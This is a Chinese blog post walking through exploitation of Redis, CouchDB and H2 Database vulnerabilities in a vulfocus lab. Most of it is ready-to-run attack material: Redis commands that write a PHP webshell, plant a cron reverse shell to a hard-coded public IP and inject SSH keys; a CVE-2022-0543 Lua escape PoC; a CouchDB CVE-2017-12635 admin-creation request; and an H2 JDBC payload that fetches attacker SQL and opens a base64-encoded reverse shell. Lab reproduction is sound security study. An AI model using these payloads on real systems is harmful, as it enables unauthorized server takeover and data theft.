数据库安全(redis、couchdb、h2database)CVE复现

redis服务默认端口:6379;我们可以通过端口扫描来判断是否存在该服务。

Redis 是一套开源的使用ANSI  C 编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。 Redis 如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

复现环境:

靶场:vulfocus

 攻击机:本机window11  ip:192.168.1.3

Redis未授权访问

CNVD-2015-07557

我们启动靶场之后,首先使用工具进行连接。发现可以连接成功并且可以执行命令,说明存在未授权访问。(其实攻击方式就是基于拿到了对方执行命令的权限,我们如何攻击)

 攻击方式:

  • 如果对方服务器存在web服务,我们写webshell(需要有写的权限),利用工具连接,从而拿到服务器权限。

config set dir /tmp            #设置WEB写入目录

config set dbfilename 1.php    #设置写入文件名

set test "<?php phpinfo();?>"  #设置写入文件代码

bgsave                         #保存执行

save                           #保存执行

  •  写定时任务反弹shell,

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态。

config set dir /var/spool/cron

set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"

config set dbfilename x

save

  • 写入Linux ssh-key公钥
利用条件: Redis 服务使用ROOT账号启动,安全模式 protected - mode处于关闭状态且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

ssh-keygen -t rsa

cd /root/.ssh/

(echo -"\n\n"; cat id_rsa.pub; echo -"\n\n") > key.txt

cat key.txt | redis-cli -h 目标IP -x set xxx

//以上步骤在自己的攻击机器上执行

config set dir /root/.ssh/

config set dbfilename authorized_keys

save

cd /root/.ssh/

ssh -i id_rsa root@目标IP

 上面都是我们自己手动执行命令测试,也可以使用自动化项目,执行命令直接攻击。

项目:https://github.com/n0b0dyCN/redis-rogue-server

运行脚本之前先进入redis-rogue-server-master\RedisModulesSDK\exp目录,然后make一下,生成exp.so的文件,然后再运行python脚本

 注意:这里我们拿到的是目标服务器的命令执行权限。而上面是连接到redis的终端,仅仅可以执行redis的命令。

CNVD-2019-21763

由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

利用项目:https://github.com/vulhub/redis-rogue-getshell

 CVE-2022-0543

这个连接到redis之后,我们直接执行命令。

POC:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

 

Couchdb未授权

Apache CouchDB 是一个开源数据库,专注于易用性和成为 "完全拥抱web的数据库" 。它是一个使用JSON作为存储格式, JavaScript 作为查询语言, MapReduce 和HTTP作为API的 NoSQL 数据库。应用广泛,如BBC用在其动态内容展示平台, Credit Suisse 用在其内部的商品部门的市场框架, Meebo ,用在其社交平台(web和应用程序)。在 2017 11 15 日,CVE - 2017 - 12635 和CVE - 2017 - 12636 披露利用。
默认端口: 5984

CVE-2017-12635(垂直权限绕过)

利用:
1.先创建一个用户,以PUT形式发送数据包

PUT /_users/org.couchdb.user:xiaodi HTTP/1.1

Host: 192.168.222.8:32571/

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 108

{

  "type": "user",

  "name": "test",

  "roles": ["_admin"],

  "roles": [],

  "password": "test"

}

2.登录用户授权
访问:/_utils 以上面创建的用户名和密码

CVE-2017-12636(命令执行)

该漏洞可以把终端反弹到我们的攻击机。

脚本:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

我们只需把目标地址和攻击机的地址修改即可,然后我们在攻击机监听端口;执行python脚本即可。

h2database

默认端口:20051

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

利用:

1.未授权进入。

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

直接复制上面url到JDBC URL即可进入后台,不需要用户名和密码。

 2.RCE执行反弹

h2.sql:

CREATE TABLE test (

     id INT NOT NULL

 );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1   (x.x.x为攻击机的ip)

 payload(加载远程sql):

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://攻击ip:89/h2.sql';\

  1. 在攻击机创建一个文件(h2.sql)内容如上
  2. 然后监听89端口(命令:python -m http.server 89)
  3. 可以尝试访问一下该sql文件能否正常访问下载
  4. 在JDBC URL中输入payload(加载我们上面创建的sql文件)
  5. 攻击机我们新建一个终端,然后监听端口8888(nc -lvvp 8888);等待目标的终端反弹

 

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-31 05:14:05       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-31 05:14:05       101 阅读
  3. 在Django里面运行非项目文件

    2024-03-31 05:14:05       82 阅读
  4. Python语言-面向对象

    2024-03-31 05:14:05       91 阅读

热门阅读

  1. React学习总结(三)之React探索

    2024-03-31 05:14:05       36 阅读
  2. 【算法】基数排序

    2024-03-31 05:14:05       38 阅读
  3. Git命令使用

    2024-03-31 05:14:05       37 阅读
  4. 服务器不支持PUT和DELETE请求处理

    2024-03-31 05:14:05       39 阅读
  5. 知识碎片-docker初始化db,自动导入SQL

    2024-03-31 05:14:05       41 阅读
  6. Python之旅:你能学到什么?

    2024-03-31 05:14:05       32 阅读